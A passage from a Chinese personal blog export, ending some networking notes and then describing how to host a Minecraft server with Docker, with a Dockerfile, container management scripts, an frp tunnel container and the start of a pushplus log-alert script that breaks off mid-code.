title=\"逻辑地址\"\u003e\u003c/a\u003e逻辑地址\u003c/h4\u003e\u003cp\u003e目前在用IPv4。它唯一定义了连接在因特网上的一台主机。跳到跳传输时,物理地址会改变,但是逻辑地址保持不变。\u003c/p\u003e\u003ch4 id=\"端口地址\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E7%AB%AF%E5%8F%A3%E5%9C%B0%E5%9D%80\" class=\"headerlink\" title=\"端口地址\"\u003e\u003c/a\u003e端口地址\u003c/h4\u003e\u003cp\u003e一般用来标识一个主机上的一个唯一的进程。端口号由IANA规定。\u003c/p\u003e\u003ch4 id=\"专用地址\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E4%B8%93%E7%94%A8%E5%9C%B0%E5%9D%80\" class=\"headerlink\" title=\"专用地址\"\u003e\u003c/a\u003e专用地址\u003c/h4\u003e\u003cp\u003e面向用户。比如URL就是专用地址,再比如电子邮件的地址也是专用地址。\u003c/p\u003e\u003cp\u003e上面就是概述部分的内容了。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/"},{"title":"用Docker开个MC服务器","time":"2023-06-07T13:26:19Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e前段时间好好学了下Docker,于是想试着用它去部署一些比较麻烦的服务端。所以首先就是试试MC了,毕竟能实现服务端跟地图数据分离以及服务端自动化部署,便于迁移确实很爽。\u003c/p\u003e\u003cp\u003e虽然MC服务端的性能敏感性比较高,但是Docker+MC的性能问题比较小,因为基于KVM,虚拟化由内核支持,所以Docker性能开销相当小,日用基本可以忽略。\u003c/p\u003e\u003ch2 id=\"目标\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E6%B8%B8%E6%88%8F/Minecraft/%E7%94%A8Docker%E5%BC%80%E4%B8%AAMC%E6%9C%8D%E5%8A%A1%E5%99%A8/#%E7%9B%AE%E6%A0%87\" class=\"headerlink\" title=\"目标\"\u003e\u003c/a\u003e目标\u003c/h2\u003e\u003cp\u003e部署好之后,目录下应该只有一个地图文件夹,一个服务端程序,以及一个明确指示了地图文件夹和服务端程序路径的dockerfile。如果使用docker-compose去实现包括mc服务端的外围功能(比如bluemap等地图功能,以及geyser这样的be兼容转换服务端),那也可以,不过得保证数据程序的分离,以及可维护、易于修改的特质。\u003c/p\u003e\u003cp\u003e基于上面的目标,可以使用Volume完成资源的映射。我们需要的只是一个基础的jre镜像。\u003c/p\u003e\u003ch2 id=\"代码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E6%B8%B8%E6%88%8F/Minecraft/%E7%94%A8Docker%E5%BC%80%E4%B8%AAMC%E6%9C%8D%E5%8A%A1%E5%99%A8/#%E4%BB%A3%E7%A0%81\" class=\"headerlink\" title=\"代码\"\u003e\u003c/a\u003e代码\u003c/h2\u003e\u003cp\u003eDockerfile很简单,就是基础的jre镜像,以及启动指令。\u003c/p\u003e\u003cfigure class=\"highlight dockerfile\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eFROM\u003c/span\u003e openjdk:\u003cspan class=\"number\"\u003e17\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eWORKDIR\u003c/span\u003e\u003cspan class=\"language-bash\"\u003e /app\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eRUN\u003c/span\u003e\u003cspan class=\"language-bash\"\u003e \u003cspan class=\"built_in\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;eula=true\u0026#34;\u003c/span\u003e \u0026gt; /app/eula.txt\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eCMD\u003c/span\u003e\u003cspan class=\"language-bash\"\u003e [\u003cspan class=\"string\"\u003e\u0026#34;java\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;-jar\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;server.jar\u0026#34;\u003c/span\u003e]\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后是启动脚本,我将几个常用指令封装成一个Bash脚本了:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#!/bin/bash\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 获取第一个参数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eaction=\u003cspan class=\"variable\"\u003e$1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 根据参数执行不同的操作\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"variable\"\u003e$action\u003c/span\u003e \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e run) \u003cspan class=\"comment\"\u003e# 运行容器\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e docker run -d \\\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e -p 25565:25565 \\\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e -v $(\u003cspan class=\"built_in\"\u003epwd\u003c/span\u003e)/world:/app/world \\\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e -v $(\u003cspan class=\"built_in\"\u003epwd\u003c/span\u003e)/server.jar:/app/server.jar \\\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e -v $(\u003cspan class=\"built_in\"\u003epwd\u003c/span\u003e)/server.properties:/app/server.properties \\\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e --name mc \\\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e mc-server\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e build) \u003cspan class=\"comment\"\u003e# 构建镜像\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e docker build -t mc-server .\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e stop) \u003cspan class=\"comment\"\u003e# 停止容器\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e docker stop mc\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e start) \u003cspan class=\"comment\"\u003e# 启动容器\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e docker start mc\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e restart) \u003cspan class=\"comment\"\u003e# 重启容器\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e docker restart mc\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e backup) \u003cspan class=\"comment\"\u003e# 备份文件\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e timestamp=$(\u003cspan class=\"built_in\"\u003edate\u003c/span\u003e +%Y%m%d%H%M%S)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e zip -r [backup]mc-server-\u003cspan class=\"variable\"\u003e$timestamp\u003c/span\u003e.zip world server.properties mc.sh Dockerfile server.jar\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003elog\u003c/span\u003e) \u003cspan class=\"comment\"\u003e# 输出日志\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e docker logs -f mc\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sh) \u003cspan class=\"comment\"\u003e# 进入shell\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e docker \u003cspan class=\"built_in\"\u003eexec\u003c/span\u003e -it mc sh\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e *) \u003cspan class=\"comment\"\u003e# 输出帮助信息并退出\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;Usage: \u003cspan class=\"variable\"\u003e$0\u003c/span\u003e {run|build|stop|start|restart|log|sh}\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e 1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eesac\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后,在保证目录下有\u003ccode\u003eserver.jar\u003c/code\u003e和\u003ccode\u003eserver.properties\u003c/code\u003e的前提下,使用\u003ccode\u003e./mc.sh run\u003c/code\u003e来初始化并运行服务端。剩下的用法参考上面的代码,或者参考\u003ca href=\"https://github.com/xeonds/docker-mc/\"\u003e这里\u003c/a\u003e。\u003c/p\u003e\u003ch2 id=\"外围\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E6%B8%B8%E6%88%8F/Minecraft/%E7%94%A8Docker%E5%BC%80%E4%B8%AAMC%E6%9C%8D%E5%8A%A1%E5%99%A8/#%E5%A4%96%E5%9B%B4\" class=\"headerlink\" title=\"外围\"\u003e\u003c/a\u003e外围\u003c/h2\u003e\u003cp\u003e开了服务器之后,肯定需要对公网/内网开放。我在这里用了一个frp的镜像,同样也将它封装为了启动脚本:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#!/bin/bash\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 定义容器名称和配置文件路径\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eCONTAINER_NAME=frpc\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eCONFIG_FILE=$(\u003cspan class=\"built_in\"\u003epwd\u003c/span\u003e)/frpc.ini\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 检查参数个数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e [ \u003cspan class=\"variable\"\u003e$#\u003c/span\u003e -eq 0 ]; \u003cspan class=\"keyword\"\u003ethen\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;Usage: \u003cspan class=\"variable\"\u003e$0\u003c/span\u003e run|start|stop|restart\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e 1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efi\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 根据参数执行相应操作\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"variable\"\u003e$1\u003c/span\u003e \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e run)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# 部署容器\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e docker run --restart=always --network host -d -v \u003cspan class=\"variable\"\u003e$CONFIG_FILE\u003c/span\u003e:/etc/frp/frpc.ini --name \u003cspan class=\"variable\"\u003e$CONTAINER_NAME\u003c/span\u003e snowdreamtech/frpc\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e start)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# 启动容器\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e docker start \u003cspan class=\"variable\"\u003e$CONTAINER_NAME\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e stop)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# 停止容器\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e docker stop \u003cspan class=\"variable\"\u003e$CONTAINER_NAME\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e restart)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# 重启容器\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e docker restart \u003cspan class=\"variable\"\u003e$CONTAINER_NAME\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003elog\u003c/span\u003e) \u003cspan class=\"comment\"\u003e# 输出日志\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e docker logs -f \u003cspan class=\"variable\"\u003e$CONTAINER_NAME\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sh) \u003cspan class=\"comment\"\u003e# 进入shell\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e docker \u003cspan class=\"built_in\"\u003eexec\u003c/span\u003e -it \u003cspan class=\"variable\"\u003e$CONTAINER_NAME\u003c/span\u003e sh\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e *)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# 无效参数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;Invalid argument: \u003cspan class=\"variable\"\u003e$1\u003c/span\u003e\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;Usage: \u003cspan class=\"variable\"\u003e$0\u003c/span\u003e run|start|stop|restart|log\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e 2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eesac\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 打印容器状态\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003edocker ps -a | grep \u003cspan class=\"variable\"\u003e$CONTAINER_NAME\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e同样,保证目录下有一个\u003ccode\u003efrpc.ini\u003c/code\u003e文件。每次编辑完成后,需要删除原来的容器重新启动一个。\u003c/p\u003e\u003cp\u003e还有一个使用\u003ccode\u003epushplus\u003c/code\u003e简单的监控脚本:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#!/bin/bash\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003etoken=\u003cspan class=\"string\"\u003e\u0026#34;your_token_here\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eurl=http://www.pushplus.plus/send\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ebash mc.sh \u003cspan class=\"built_in\"\u003elog\u003c/span\u003e | grep -E --line-buffered \u003cspan class=\"string\"\u003e\u0026#34;error|fail|warn\u0026#34;\u003c/span\u003e |\\\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e \u003cspan 